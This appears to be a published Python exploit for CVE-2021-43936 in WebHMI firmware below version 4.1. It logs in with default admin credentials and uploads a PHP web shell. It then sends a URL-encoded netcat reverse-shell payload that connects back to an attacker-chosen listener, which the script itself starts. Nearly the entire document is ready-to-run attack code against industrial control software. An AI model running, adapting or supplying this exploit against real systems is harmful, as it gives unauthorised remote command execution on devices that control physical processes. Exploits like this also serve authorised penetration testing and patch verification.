WebHMI 4.0 - Remote Code Execution Exploit

# Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI Firmware < 4.1
# CVE: CVE-2021-43936
# Tested on: WebHMI Firmware 4.0.7475

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43936")
print(banner)
print('Exploit for CVE-2021-43936')
print('For: WebHMI Firmware < 4.1')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

	def __init__(self, target_ip, target_port, localhost, localport):
		self.target_ip = target_ip
		self.target_port = target_port
		self.localhost = localhost
		self.localport = localport

	def exploitation(self):
		payload = """<?php system($_GET['cmd']); ?>"""
		payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""

		headers_login = {
		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
		'Accept': 'application/json, text/javascript, */*; q=0.01',
		'Accept-Language': 'en-US,en;q=0.5',
		'Accept-Encoding': 'gzip, deflate',
		'Content-Type': 'application/json',
		'X-WH-LOGIN': login,
		'X-WH-PASSWORD': password,
		'X-Requested-With': 'XMLHttpRequest',
		'Connection': 'close',
		'Content-Length': '0'
		}

		url = 'http://' + target_ip + ':' + target_port 
		r = requests.Session()

		print('[*] Resolving URL...')
		r1 = r.get(url)
		time.sleep(3)

		print('[*] Trying to log in...')
		r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)
		time.sleep(3)

		print('[*] Login redirection...')
		login_cookies = {
		'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],
		'X-WH-CHECK-TRIAL':'true',
		'il18next':'en',
		}
		r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)
		time.sleep(3)

		print('[*] Uploading cmd.php file...')
		files = {
		'file': ('cmd.php', payload, 'application/x-php')
		}
		r4 = r.post(url + '/files.php', files=files, cookies=login_cookies)
		time.sleep(3)

		print('[*] Setting up netcat listener...')
		listener = subprocess.Popen(["nc", "-nvlp", self.localport])
		time.sleep(3)

		print('[*] Executing reverse shell...')
		print('[*] Watchout for shell! :)')
		r5 = r.get(url + '/uploads/files/cmd.php?cmd=' + payload2, cookies=login_cookies)

		if (r5.status_code == 200):
			print('[*] Got shell!')
			while True:
				listener.wait()
		else:
			print('[-] Something went wrong!')
			listener.terminate()

def get_args():
	parser = argparse.ArgumentParser(description='WebHMI Firmware <4.1 Unrestricted File Upload + Code Execution (Authenticated)')
	parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
	parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
	parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
	parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
	args = parser.parse_args()
	return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()